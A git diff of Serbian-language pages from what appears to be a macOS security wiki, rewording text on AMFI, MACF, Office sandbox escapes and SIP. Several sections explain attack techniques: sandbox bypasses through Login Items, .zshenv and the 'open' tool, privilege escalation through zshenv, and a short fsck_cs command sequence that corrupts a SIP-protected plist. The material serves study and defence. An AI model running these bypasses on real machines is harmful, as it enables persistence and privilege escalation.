diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
index 574f0d7f4..19d2739e1 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
@@ -6,13 +6,13 @@
Fokusira se na sprovođenje integriteta koda koji se izvršava na sistemu, pružajući logiku iza verifikacije potpisa koda XNU-a. Takođe može da proveri prava i obavlja druge osetljive zadatke kao što su omogućavanje debagovanja ili dobijanje portova zadataka.
-Štaviše, za neke operacije, kext preferira da kontaktira korisnički prostor koji pokreće demon `/usr/libexec/amfid`. Ova međusobna poverenja su zloupotrebljena u nekoliko jailbreak-ova.
+Štaviše, za neke operacije, kext preferira da kontaktira korisnički prostor koji pokreće demon `/usr/libexec/amfid`. Ova poverljiva veza je zloupotrebljena u nekoliko jailbreak-ova.
-AMFI koristi **MACF** politike i registruje svoje hook-ove u trenutku kada se pokrene. Takođe, sprečavanje njegovog učitavanja ili isključivanja može izazvati kernel panic. Međutim, postoje neki boot argumenti koji omogućavaju oslabiti AMFI:
+AMFI koristi **MACF** politike i registruje svoje hook-ove u trenutku kada se pokrene. Takođe, sprečavanje njegovog učitavanja ili uklanjanja može izazvati kernel panic. Međutim, postoje neki argumenti za pokretanje koji omogućavaju oslabiti AMFI:
- `amfi_unrestricted_task_for_pid`: Dozvoljava task_for_pid bez potrebnih prava
- `amfi_allow_any_signature`: Dozvoljava bilo koji potpis koda
-- `cs_enforcement_disable`: Argument na sistemskom nivou koji se koristi za onemogućavanje sprovođenja potpisivanja koda
+- `cs_enforcement_disable`: Argument na nivou sistema koji se koristi za onemogućavanje sprovođenja potpisivanja koda
- `amfi_prevent_old_entitled_platform_binaries`: Odbacuje platforme binarne sa pravima
- `amfi_get_out_of_my_way`: Potpuno onemogućava amfi
@@ -26,8 +26,8 @@ Ovo su neke od MACF politika koje registruje:
- **`file_check_mmap`:** Proverava da li mmap stiče memoriju i postavlja je kao izvršivu. U tom slučaju proverava da li je potrebna validacija biblioteke i, ako jeste, poziva funkciju za validaciju biblioteke.
- **`file_check_library_validation`**: Poziva funkciju za validaciju biblioteke koja proverava, između ostalog, da li platforma binarna učitava drugu platformu binarnu ili da li proces i novo učitani fajl imaju isti TeamID. Određena prava će takođe omogućiti učitavanje bilo koje biblioteke.
- **`policy_initbsd`**: Postavlja poverljive NVRAM ključeve
-- **`policy_syscall`**: Proverava DYLD politike kao što su da li binarna ima neograničene segmente, da li bi trebalo da dozvoli env varijable... ovo se takođe poziva kada se proces pokrene putem `amfi_check_dyld_policy_self()`.
-- **`proc_check_inherit_ipc_ports`**: Proverava da li kada proces izvršava novu binarnu, drugi procesi sa SEND pravima nad portom zadatka procesa treba da ih zadrže ili ne. Platforme binarne su dozvoljene, `get-task-allow` pravo to omogućava, `task_for_pid-allow` prava su dozvoljena i binarne sa istim TeamID.
+- **`policy_syscall`**: Proverava DYLD politike kao što su da li binarna ima neograničene segmente, da li bi trebalo da dozvoli env varijable... ovo se takođe poziva kada se proces pokreće putem `amfi_check_dyld_policy_self()`.
+- **`proc_check_inherit_ipc_ports`**: Proverava da li kada proces izvršava novu binarnu, drugi procesi sa SEND pravima nad portom zadatka procesa treba da ih zadrže ili ne. Platforme binarne su dozvoljene, `get-task-allow` pravo to dozvoljava, `task_for_pid-allow` prava su dozvoljena i binarne sa istim TeamID.
- **`proc_check_expose_task`**: sprovodi prava
- **`amfi_exc_action_check_exception_send`**: Poruka izuzetka se šalje debageru
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Životni ciklus oznake tokom obrade izuzetaka (debugging)
@@ -35,10 +35,10 @@ Ovo su neke od MACF politika koje registruje:
- **`proc_check_mprotect`**: Odbija ako je `mprotect` pozvan sa oznakom `VM_PROT_TRUSTED` koja ukazuje da se region mora tretirati kao da ima važeći potpis koda.
- **`vnode_check_exec`**: Poziva se kada se izvršne datoteke učitavaju u memoriju i postavlja `cs_hard | cs_kill` što će ubiti proces ako neka od stranica postane nevažeća
- **`vnode_check_getextattr`**: MacOS: Proverava `com.apple.root.installed` i `isVnodeQuarantined()`
-- **`vnode_check_setextattr`**: Kao get + com.apple.private.allow-bless i interno-instalater-ekvivalentno pravo
-- **`vnode_check_signature`**: Kod koji poziva XNU da proveri potpis koda koristeći prava, trust cache i `amfid`
-- **`proc_check_run_cs_invalid`**: Presreće `ptrace()` pozive (`PT_ATTACH` i `PT_TRACE_ME`). Proverava za bilo koje od prava `get-task-allow`, `run-invalid-allow` i `run-unsigned-code` i ako nijedno, proverava da li je debagovanje dozvoljeno.
-- **`proc_check_map_anon`**: Ako je mmap pozvan sa oznakom **`MAP_JIT`**, AMFI će proveriti `dynamic-codesigning` pravo.
+- **`vnode_check_setextattr`**: Kao get + com.apple.private.allow-bless i interno-instalacijski ekvivalent prava
+- **`vnode_check_signature`**: Kod koji poziva XNU da proveri potpis koda koristeći prava, trust cache i `amfid`
+- **`proc_check_run_cs_invalid`**: Presreće `ptrace()` pozive (`PT_ATTACH` i `PT_TRACE_ME`). Proverava za bilo koje od prava `get-task-allow`, `run-invalid-allow` i `run-unsigned-code` i ako nijedno, proverava da li je debagovanje dozvoljeno.
+- **`proc_check_map_anon`**: Ako je mmap pozvan sa **`MAP_JIT`** oznakom, AMFI će proveriti `dynamic-codesigning` pravo.
`AMFI.kext` takođe izlaže API za druge kernel ekstenzije, i moguće je pronaći njegove zavisnosti sa:
```bash
@@ -72,7 +72,7 @@ Napomena: u macOS-u više nije moguće da root procesi preuzmu posebne portove j
Moguće je videti kada se `amfid` traži da proveri binarni fajl i odgovor na to tako što se debaguje i postavi breakpoint u `mach_msg`.
-Kada se poruka primi preko posebnog porta, **MIG** se koristi za slanje svake funkcije funkciji koju poziva. Glavne funkcije su obrnute i objašnjene unutar knjige.
+Kada se poruka primi putem posebnog porta, **MIG** se koristi za slanje svake funkcije funkciji koju poziva. Glavne funkcije su obrnute i objašnjene unutar knjige.
## Provisioning Profiles
@@ -88,11 +88,11 @@ openssl asn1parse -inform der -in /path/to/profile
security cms -D -i /path/to/profile
```
-Iako se ponekad nazivaju sertifikovanim, ovi profili za postavljanje imaju više od sertifikata:
+Iako se ponekad nazivaju sertifikovanim, ovi profili za dodeljivanje imaju više od sertifikata:
- **AppIDName:** Identifikator aplikacije
- **AppleInternalProfile**: Oznaka da je ovo Apple interni profil
-- **ApplicationIdentifierPrefix**: Prependovan na AppIDName (isto kao TeamIdentifier)
+- **ApplicationIdentifierPrefix**: Prependovan AppIDName (isto kao TeamIdentifier)
- **CreationDate**: Datum u formatu `YYYY-MM-DDTHH:mm:ssZ`
- **DeveloperCertificates**: Niz (obično jedan) sertifikat(a), kodiran kao Base64 podaci
- **Entitlements**: Prava dozvoljena sa pravima za ovaj profil
@@ -101,14 +101,14 @@ Iako se ponekad nazivaju sertifikovanim, ovi profili za postavljanje imaju više
- **ProvisionedDevices**: Niz (za sertifikate programera) UDID-ova za koje je ovaj profil važeći
- **ProvisionsAllDevices**: Boolean (true za preduzetničke sertifikate)
- **TeamIdentifier**: Niz (obično jedan) alfanumeričkih stringova koji se koriste za identifikaciju programera u svrhe interakcije između aplikacija
-- **TeamName**: Ime koje je lako čitljivo i koristi se za identifikaciju programera
+- **TeamName**: Ljudski čitljivo ime koje se koristi za identifikaciju programera
- **TimeToLive**: Važenje (u danima) sertifikata
- **UUID**: Univerzalno jedinstveni identifikator za ovaj profil
- **Version**: Trenutno postavljeno na 1
-Napomena da će unos prava sadržati ograničen skup prava i da će profil za postavljanje moći da dodeli samo ta specifična prava kako bi se sprečilo dodeljivanje Apple privatnih prava.
+Napomena: Unos prava će sadržati ograničen set prava i profil za dodeljivanje će moći da dodeli samo ta specifična prava kako bi se sprečilo dodeljivanje privatnih prava Apple-u.
-Napomena da se profili obično nalaze u `/var/MobileDeviceProvisioningProfiles` i moguće je proveriti ih sa **`security cms -D -i /path/to/profile`**
+Napomena: Profili se obično nalaze u `/var/MobileDeviceProvisioningProfiles` i moguće je proveriti ih sa **`security cms -D -i /path/to/profile`**
## **libmis.dyld**
@@ -118,7 +118,7 @@ U macOS-u ovo se nalazi unutar `MobileDevice.framework`.
## AMFI Trust Caches
-iOS AMFI održava listu poznatih hash-eva koji su potpisani ad-hoc, nazvanu **Trust Cache** i nalazi se u `__TEXT.__const` sekciji kext-a. Napomena da je u vrlo specifičnim i osetljivim operacijama moguće proširiti ovu Trust Cache sa spoljnim fajlom.
+iOS AMFI održava listu poznatih hash-eva koji su potpisani ad-hoc, nazvanu **Trust Cache** i nalazi se u `__TEXT.__const` sekciji kext-a. Napomena: U vrlo specifičnim i osetljivim operacijama moguće je proširiti ovu Trust Cache sa spoljnim fajlom.
## References
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
index 44c79f3df..b3ed9cf61 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
@@ -13,7 +13,7 @@ Napomena da MACF zapravo ne donosi nikakve odluke jer samo **presreće** radnje,
1. Proces izvršava syscall/mach trap
2. Relevantna funkcija se poziva unutar kernela
3. Funkcija poziva MACF
-4. MACF proverava module politike koji su zatražili da se povežu sa tom funkcijom u svojoj politici
+4. MACF proverava module politike koji su zatražili da se ta funkcija poveže u njihovoj politici
5. MACF poziva relevantne politike
6. Politike označavaju da li dozvoljavaju ili odbacuju radnju
@@ -22,11 +22,11 @@ Napomena da MACF zapravo ne donosi nikakve odluke jer samo **presreće** radnje,
### Oznake
-MACF koristi **oznake** koje zatim politike koriste da provere da li treba da odobre neki pristup ili ne. Kod deklaracije strukture oznaka može se [pronaći ovde](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), koja se zatim koristi unutar **`struct ucred`** u [**ovde**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) u delu **`cr_label`**. Oznaka sadrži zastavice i broj **slotova** koji se mogu koristiti od strane **MACF politika za dodeljivanje pokazivača**. Na primer, Sanbox će ukazivati na profil kontejnera.
+MACF koristi **oznake** koje zatim politike koriste da provere da li treba da odobre neki pristup ili ne. Kod deklaracije strukture oznaka može se [pronaći ovde](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), koja se zatim koristi unutar **`struct ucred`** u [**ovde**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) u delu **`cr_label`**. Oznaka sadrži zastavice i broj **slotova** koji se mogu koristiti od strane **MACF politika za dodeljivanje pokazivača**. Na primer, Sanbox će se povezati sa profilom kontejnera.
-## MACF Politike
+## MACF politike
-MACF politika definiše **pravila i uslove koji se primenjuju u određenim operacijama kernela**.
+MACF politika definiše **pravila i uslove koji se primenjuju u određenim kernel operacijama**.
Kernel ekstenzija može konfigurisati `mac_policy_conf` strukturu i zatim je registrovati pozivajući `mac_policy_register`. Od [ovde](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
@@ -69,7 +69,7 @@ Lako je identifikovati kernel ekstenzije koje konfigurišu ove politike proverom
Napomena da se MACF politike mogu registrovati i deregistrovati takođe **dinamički**.
-Jedno od glavnih polja `mac_policy_conf` je **`mpc_ops`**. Ovo polje specificira koje operacije politika zanima. Napomena da ih ima stotine, tako da je moguće postaviti sve na nulu, a zatim odabrati samo one koje politiku zanimaju. Od [ovde](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
+Jedno od glavnih polja `mac_policy_conf` je **`mpc_ops`**. Ovo polje specificira koje operacije politika zanima. Napomena da ih ima stotine, tako da je moguće postaviti sve na nulu, a zatim izabrati samo one koje politiku zanimaju. Od [ovde](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
struct mac_policy_ops {
mpo_audit_check_postselect_t *mpo_audit_check_postselect;
@@ -87,7 +87,7 @@ Skoro svi hook-ovi će biti pozvani od strane MACF kada se jedna od tih operacij
Štaviše, **`mpo_policy_syscall`** hook može biti registrovan od strane bilo kog kext-a da izloži privatni **ioctl** stil poziva **interface**. Tada će korisnički klijent moći da pozove `mac_syscall` (#381) navodeći kao parametre **ime politike** sa celobrojnim **kodom** i opcionim **argumentima**.\
Na primer, **`Sandbox.kext`** to često koristi.
-Proverom **`__DATA.__const*`** kext-a moguće je identifikovati `mac_policy_ops` strukturu koja se koristi prilikom registracije politike. Moguće je pronaći je jer je njen pokazivač na offset-u unutar `mpo_policy_conf` i takođe zbog broja NULL pokazivača koji će biti u toj oblasti.
+Proverom **`__DATA.__const*`** kext-a moguće je identifikovati `mac_policy_ops` strukturu koja se koristi prilikom registracije politike. Moguće je pronaći jer je njen pokazivač na offset-u unutar `mpo_policy_conf` i takođe zbog broja NULL pokazivača koji će biti u toj oblasti.
Štaviše, takođe je moguće dobiti listu kext-ova koji su konfigurisali politiku dump-ovanjem iz memorije strukture **`_mac_policy_list`** koja se ažurira sa svakom registrovanom politikom.
@@ -111,7 +111,7 @@ mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
#if CONFIG_MACF
error = mac_file_check_mmap(vfs_context_ucred(ctx),
fp->fp_glob, prot, flags, file_pos + pageoff,
-&maxprot);
+&maxprot);
if (error) {
(void)vnode_put(vp);
goto bad;
@@ -164,10 +164,10 @@ Koji će proći kroz sve registrovane mac politike pozivajući njihove funkcije
>
> ```c
> /*
-> * MAC_GRANT vrši određenu proveru prolazeći kroz listu politika
-> * i proveravajući svaku kako se oseća u vezi sa
-> * zahtevom. Za razliku od MAC_CHECK, odobrava ako bilo koja politika vrati '0',
-> * a inače vraća EPERM. Imajte na umu da vraća svoju vrednost putem
+> * MAC_GRANT vrši određenu proveru prolazeći kroz listu
+> * modula politika i proveravajući sa svakim kako se oseća u vezi
+> * sa zahtevom. Za razliku od MAC_CHECK, odobrava ako bilo koja politika vrati '0',
+> * a inače vraća EPERM. Napomena: vraća svoju vrednost putem
> * 'error' u opsegu pozivaoca.
> */
> #define MAC_GRANT(check, args...) do { \
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md
index 46381fafd..3d4497a10 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md
@@ -12,23 +12,23 @@ Proverite [**originalni izveštaj ovde**](https://www.mdsec.co.uk/2018/08/escapi
### Word Sandbox bypass via Login Items and zip
-Zapamtite da iz prvog bekstva, Word može pisati proizvoljne fajlove čija imena počinju sa `~$` iako nakon zakrpe prethodne ranjivosti nije bilo moguće pisati u `/Library/Application Scripts` ili u `/Library/LaunchAgents`.
+Zapamtite da iz prvog bekstva, Word može pisati proizvoljne fajlove čije ime počinje sa `~$` iako nakon zakrpe prethodne ranjivosti nije bilo moguće pisati u `/Library/Application Scripts` ili u `/Library/LaunchAgents`.
Otkriveno je da iz sandbox-a može da se kreira **Login Item** (aplikacije koje će se izvršavati kada se korisnik prijavi). Međutim, ove aplikacije **neće se izvršiti osim ako** nisu **notarizovane** i **nije moguće dodati argumente** (tako da ne možete samo pokrenuti reverznu ljusku koristeći **`bash`**).
-Iz prethodnog Sandbox zaobilaženja, Microsoft je onemogućio opciju pisanja fajlova u `~/Library/LaunchAgents`. Međutim, otkriveno je da ako stavite **zip fajl kao Login Item**, `Archive Utility` će jednostavno **raspakovati** ga na trenutnoj lokaciji. Dakle, pošto podrazumevano folder `LaunchAgents` iz `~/Library` nije kreiran, bilo je moguće **zipovati plist u `LaunchAgents/~$escape.plist`** i **staviti** zip fajl u **`~/Library`** tako da kada se dekompresuje, doći će do odredišta za postojanost.
+Iz prethodnog Sandbox zaobilaženja, Microsoft je onemogućio opciju pisanja fajlova u `~/Library/LaunchAgents`. Međutim, otkriveno je da ako stavite **zip fajl kao Login Item**, `Archive Utility` će jednostavno **dekompresovati** ga na trenutnoj lokaciji. Dakle, pošto po defaultu folder `LaunchAgents` iz `~/Library` nije kreiran, bilo je moguće **zipovati plist u `LaunchAgents/~$escape.plist`** i **staviti** zip fajl u **`~/Library`** tako da kada se dekompresuje, doći će do odredišta za postojanost.
Proverite [**originalni izveštaj ovde**](https://objective-see.org/blog/blog_0x4B.html).
### Word Sandbox bypass via Login Items and .zshenv
-(Zapamtite da iz prvog bekstva, Word može pisati proizvoljne fajlove čija imena počinju sa `~$`).
+(Zapamtite da iz prvog bekstva, Word može pisati proizvoljne fajlove čije ime počinje sa `~$`).
Međutim, prethodna tehnika je imala ograničenje, ako folder **`~/Library/LaunchAgents`** postoji jer ga je neka druga aplikacija kreirala, to bi propalo. Tako je otkrivena drugačija lanac Login Items za ovo.
-Napadač bi mogao da kreira fajlove **`.bash_profile`** i **`.zshenv`** sa payload-om za izvršavanje i zatim ih zipuje i **piše zip u korisnički** folder žrtve: **`~/~$escape.zip`**.
+Napadač bi mogao da kreira fajlove **`.bash_profile`** i **`.zshenv`** sa teretom za izvršavanje i zatim ih zipuje i **piše zip u korisnički** folder žrtve: **`~/~$escape.zip`**.
-Zatim, dodajte zip fajl u **Login Items** i zatim aplikaciju **`Terminal`**. Kada se korisnik ponovo prijavi, zip fajl bi bio raspakovan u korisničkom folderu, prepisujući **`.bash_profile`** i **`.zshenv`** i stoga će terminal izvršiti jedan od ovih fajlova (u zavisnosti od toga da li se koristi bash ili zsh).
+Zatim, dodajte zip fajl u **Login Items** i zatim aplikaciju **`Terminal`**. Kada se korisnik ponovo prijavi, zip fajl bi bio dekompresovan u korisničkom folderu, prepisujući **`.bash_profile`** i **`.zshenv`** i stoga će terminal izvršiti jedan od ovih fajlova (u zavisnosti od toga da li se koristi bash ili zsh).
Proverite [**originalni izveštaj ovde**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
@@ -36,15 +36,15 @@ Proverite [**originalni izveštaj ovde**](https://desi-jarvis.medium.com/office3
Iz sandboxovanih procesa još uvek je moguće pozvati druge procese koristeći **`open`** alat. Štaviše, ovi procesi će se izvršavati **unutar svog vlastitog sandbox-a**.
-Otkriveno je da open alat ima opciju **`--env`** za pokretanje aplikacije sa **specifičnim env** varijablama. Stoga, bilo je moguće kreirati **`.zshenv` fajl** unutar foldera **unutar** **sandbox-a** i koristiti `open` sa `--env` postavljajući **`HOME` varijablu** na taj folder otvarajući tu `Terminal` aplikaciju, koja će izvršiti `.zshenv` fajl (iz nekog razloga takođe je bilo potrebno postaviti varijablu `__OSINSTALL_ENVIROMENT`).
+Otkriveno je da open alat ima **`--env`** opciju za pokretanje aplikacije sa **specifičnim env** varijablama. Stoga, bilo je moguće kreirati **`.zshenv` fajl** unutar foldera **unutar** **sandbox-a** i koristiti `open` sa `--env` postavljajući **`HOME` varijablu** na taj folder otvarajući tu `Terminal` aplikaciju, koja će izvršiti `.zshenv` fajl (iz nekog razloga takođe je bilo potrebno postaviti varijablu `__OSINSTALL_ENVIROMENT`).
Proverite [**originalni izveštaj ovde**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
### Word Sandbox Bypass with Open and stdin
-**`open`** alat takođe podržava parametar **`--stdin`** (i nakon prethodnog zaobilaženja više nije bilo moguće koristiti `--env`).
+**`open`** alat takođe podržava **`--stdin`** parametar (i nakon prethodnog zaobilaženja više nije bilo moguće koristiti `--env`).
-Stvar je u tome da čak i ako je **`python`** potpisan od strane Apple-a, on **neće izvršiti** skriptu sa **`quarantine`** atributom. Međutim, bilo je moguće proslediti mu skriptu iz stdin-a tako da neće proveravati da li je bila u karantinu ili ne:
+Stvar je u tome da čak i ako je **`python`** potpisan od strane Apple-a, on **neće izvršiti** skriptu sa **`quarantine`** atributom. Međutim, bilo je moguće proslediti mu skriptu iz stdin-a tako da neće proveravati da li je bila u karantinu ili ne:
1. Postavite **`~$exploit.py`** fajl sa proizvoljnim Python komandama.
2. Pokrenite _open_ **`–stdin='~$exploit.py' -a Python`**, što pokreće Python aplikaciju sa našim postavljenim fajlom kao njenim standardnim ulazom. Python rado izvršava naš kod, a pošto je to podproces _launchd_, nije vezan za pravila Word-ovog sandbox-a.
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md
index 3734b1e21..8dd8a7ede 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md
@@ -11,7 +11,7 @@
- **/sbin**
- **/usr**
-Pravila koja upravljaju ponašanjem SIP-a definisana su u konfiguracionom fajlu koji se nalazi na **`/System/Library/Sandbox/rootless.conf`**. Unutar ovog fajla, putevi koji su označeni zvezdicom (\*) se smatraju izuzecima od inače strogih SIP ograničenja.
+Pravila koja upravljaju ponašanjem SIP-a definisana su u konfiguracionom fajlu koji se nalazi na **`/System/Library/Sandbox/rootless.conf`**. Unutar ovog fajla, putevi koji su prethodjeni zvezdicom (\*) označeni su kao izuzeci od inače strogih SIP ograničenja.
Razmotrite primer ispod:
```javascript
@@ -34,12 +34,12 @@ S druge strane:
ls -lOd /usr/libexec
drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
```
-Ovde, **`restricted`** zastavica označava da je direktorijum `/usr/libexec` zaštićen SIP-om. U direktorijumu zaštićenom SIP-om, datoteke ne mogu biti kreirane, modifikovane ili obrisane.
+Ovde, **`restricted`** oznaka ukazuje da je direktorijum `/usr/libexec` zaštićen SIP-om. U direktorijumu zaštićenom SIP-om, datoteke ne mogu biti kreirane, modifikovane ili obrisane.
Pored toga, ako datoteka sadrži atribut **`com.apple.rootless`** prošireni **atribut**, ta datoteka će takođe biti **zaštićena SIP-om**.
> [!TIP]
-> Imajte na umu da **Sandbox** hook **`hook_vnode_check_setextattr`** sprečava bilo kakav pokušaj modifikacije proširenog atributa **`com.apple.rootless`.**
+> Imajte na umu da **Sandbox** hook **`hook_vnode_check_setextattr`** sprečava bilo kakvu pokušaj modifikacije proširenog atributa **`com.apple.rootless`.**
**SIP takođe ograničava druge root akcije** kao što su:
@@ -48,7 +48,7 @@ Pored toga, ako datoteka sadrži atribut **`com.apple.rootless`** prošireni **a
- Modifikovanje NVRAM varijabli
- Omogućavanje kernel debagovanja
-Opcije se čuvaju u nvram varijabli kao bitflag (`csr-active-config` na Intel-u i `lp-sip0` se čita iz pokrenutog Device Tree-a za ARM). Možete pronaći zastavice u XNU izvor kodu u `csr.sh`:
+Opcije se čuvaju u nvram varijabli kao bitflag (`csr-active-config` na Intel-u i `lp-sip0` se čita iz pokrenutog Device Tree-a za ARM). Možete pronaći oznake u XNU izvor kodu u `csr.sh`:
@@ -68,9 +68,9 @@ csrutil enable --without debug
```
### Ostala Ograničenja
-- **Onemogućava učitavanje nepodpisanih kernel ekstenzija** (kexts), osiguravajući da samo verifikovane ekstenzije komuniciraju sa sistemskim kernelom.
+- **Onemogućava učitavanje nepodpisanih kernel ekstenzija** (kexts), osiguravajući da samo verifikovane ekstenzije interaguju sa sistemskim kernelom.
- **Sprječava debagovanje** macOS sistemskih procesa, štiteći osnovne sistemske komponente od neovlašćenog pristupa i modifikacije.
-- **Inhibira alate** poput dtrace da ispituju sistemske procese, dodatno štiteći integritet rada sistema.
+- **Inhibira alate** poput dtrace da ispituju sistemske procese, dodatno štiteći integritet operacije sistema.
[**Saznajte više o SIP informacijama u ovom predavanju**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.**
@@ -112,7 +112,7 @@ Jedna potencijalna rupa je da ako je fajl naveden u **`rootless.conf` ali trenut
#### [CVE-2019-8561](https://objective-see.org/blog/blog_0x42.html)
-Otkriveno je da je moguće **zamijeniti instalacijski paket nakon što je sistem verifikovao njegov kod** potpis i tada bi sistem instalirao zlonamerni paket umesto originalnog. Kako su ove radnje izvršene od strane **`system_installd`**, to bi omogućilo zaobilaženje SIP-a.
+Otkriveno je da je moguće **zamijeniti instalacijski paket nakon što je sistem verifikovao njegov kod** potpis i tada bi sistem instalirao zlonamerni paket umesto originalnog. Kako su ove akcije izvršene od strane **`system_installd`**, to bi omogućilo zaobilaženje SIP-a.
#### [CVE-2020–9854](https://objective-see.org/blog/blog_0x4D.html)
@@ -126,7 +126,7 @@ Ako je paket instaliran sa montirane slike ili spoljnog diska, **instalater** bi
Istraživači su otkrili da tokom instalacije paketa potpisanog od Apple-a (.pkg fajl), **`system_installd`** **izvršava** sve **post-install** skripte uključene u paket. Ove skripte se izvršavaju od strane podrazumevanog shella, **`zsh`**, koji automatski **izvršava** komande iz **`/etc/zshenv`** fajla, ako postoji, čak i u neinteraktivnom režimu. Ovo ponašanje bi mogli iskoristiti napadači: kreiranjem zlonamernog `/etc/zshenv` fajla i čekanjem da **`system_installd` pozove `zsh`**, mogli bi izvršiti proizvoljne operacije na uređaju.
-Pored toga, otkriveno je da se **`/etc/zshenv` može koristiti kao opšta napadačka tehnika**, ne samo za zaobilaženje SIP-a. Svaki korisnički profil ima `~/.zshenv` fajl, koji se ponaša na isti način kao `/etc/zshenv` ali ne zahteva root privilegije. Ovaj fajl bi mogao biti korišćen kao mehanizam postojanosti, aktivirajući se svaki put kada `zsh` startuje, ili kao mehanizam za podizanje privilegija. Ako admin korisnik podigne privilegije na root koristeći `sudo -s` ili `sudo `, `~/.zshenv` fajl bi bio aktiviran, efektivno podižući na root.
+Pored toga, otkriveno je da se **`/etc/zshenv` može koristiti kao opšta tehnika napada**, ne samo za zaobilaženje SIP-a. Svaki korisnički profil ima `~/.zshenv` fajl, koji se ponaša na isti način kao `/etc/zshenv` ali ne zahteva root privilegije. Ovaj fajl bi mogao biti korišćen kao mehanizam postojanosti, aktivirajući se svaki put kada `zsh` startuje, ili kao mehanizam za podizanje privilegija. Ako admin korisnik podigne privilegije na root koristeći `sudo -s` ili `sudo `, `~/.zshenv` fajl bi bio aktiviran, efektivno podižući na root.
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
@@ -134,7 +134,7 @@ U [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2
#### [fsck_cs utility](https://www.theregister.com/2016/03/30/apple_os_x_rootless/)
-Identifikovana je ranjivost gde je **`fsck_cs`** bio zavaravan da korumpira ključni fajl, zbog svoje sposobnosti da prati **simboličke linkove**. Konkretno, napadači su kreirali link sa _`/dev/diskX`_ na fajl `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Izvršavanje **`fsck_cs`** na _`/dev/diskX`_ dovelo je do korupcije `Info.plist`. Integritet ovog fajla je vitalan za SIP (System Integrity Protection) operativnog sistema, koji kontroliše učitavanje kernel ekstenzija. Kada je korumpiran, SIP-ova sposobnost da upravlja isključenjima kernela je kompromitovana.
+Identifikovana je ranjivost gde je **`fsck_cs`** bio zavaravan da korumpira ključni fajl, zbog svoje sposobnosti da prati **simboličke linkove**. Konkretno, napadači su kreirali link sa _`/dev/diskX`_ na fajl `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Izvršavanje **`fsck_cs`** na _`/dev/diskX`_ dovelo je do korupcije `Info.plist`. Integritet ovog fajla je vitalan za SIP (Sistemsku Integritetnu Zaštitu) operativnog sistema, koja kontroliše učitavanje kernel ekstenzija. Kada je korumpiran, SIP-ova sposobnost da upravlja isključenjima kernela je kompromitovana.
Komande za iskorišćavanje ove ranjivosti su:
```bash
@@ -143,7 +143,7 @@ fsck_cs /dev/diskX 1>&-
touch /Library/Extensions/
reboot
```
-Eksploatacija ove ranjivosti ima ozbiljne posledice. Datoteka `Info.plist`, koja je obično odgovorna za upravljanje dozvolama za kernel ekstenzije, postaje neefikasna. To uključuje nemogućnost da se stavi na crnu listu određene ekstenzije, kao što je `AppleHWAccess.kext`. Kao rezultat toga, sa SIP-ovim kontrolnim mehanizmom van funkcije, ova ekstenzija može biti učitana, omogućavajući neovlašćen pristup za čitanje i pisanje RAM-u sistema.
+Eksploatacija ove ranjivosti ima ozbiljne posledice. Datoteka `Info.plist`, koja je obično odgovorna za upravljanje dozvolama za kernel ekstenzije, postaje neefikasna. To uključuje nemogućnost da se određene ekstenzije stave na crnu listu, kao što je `AppleHWAccess.kext`. Kao rezultat toga, sa kontrolnim mehanizmom SIP-a van funkcije, ova ekstenzija može biti učitana, omogućavajući neovlašćen pristup za čitanje i pisanje u RAM sistema.
#### [Mount over SIP protected folders](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
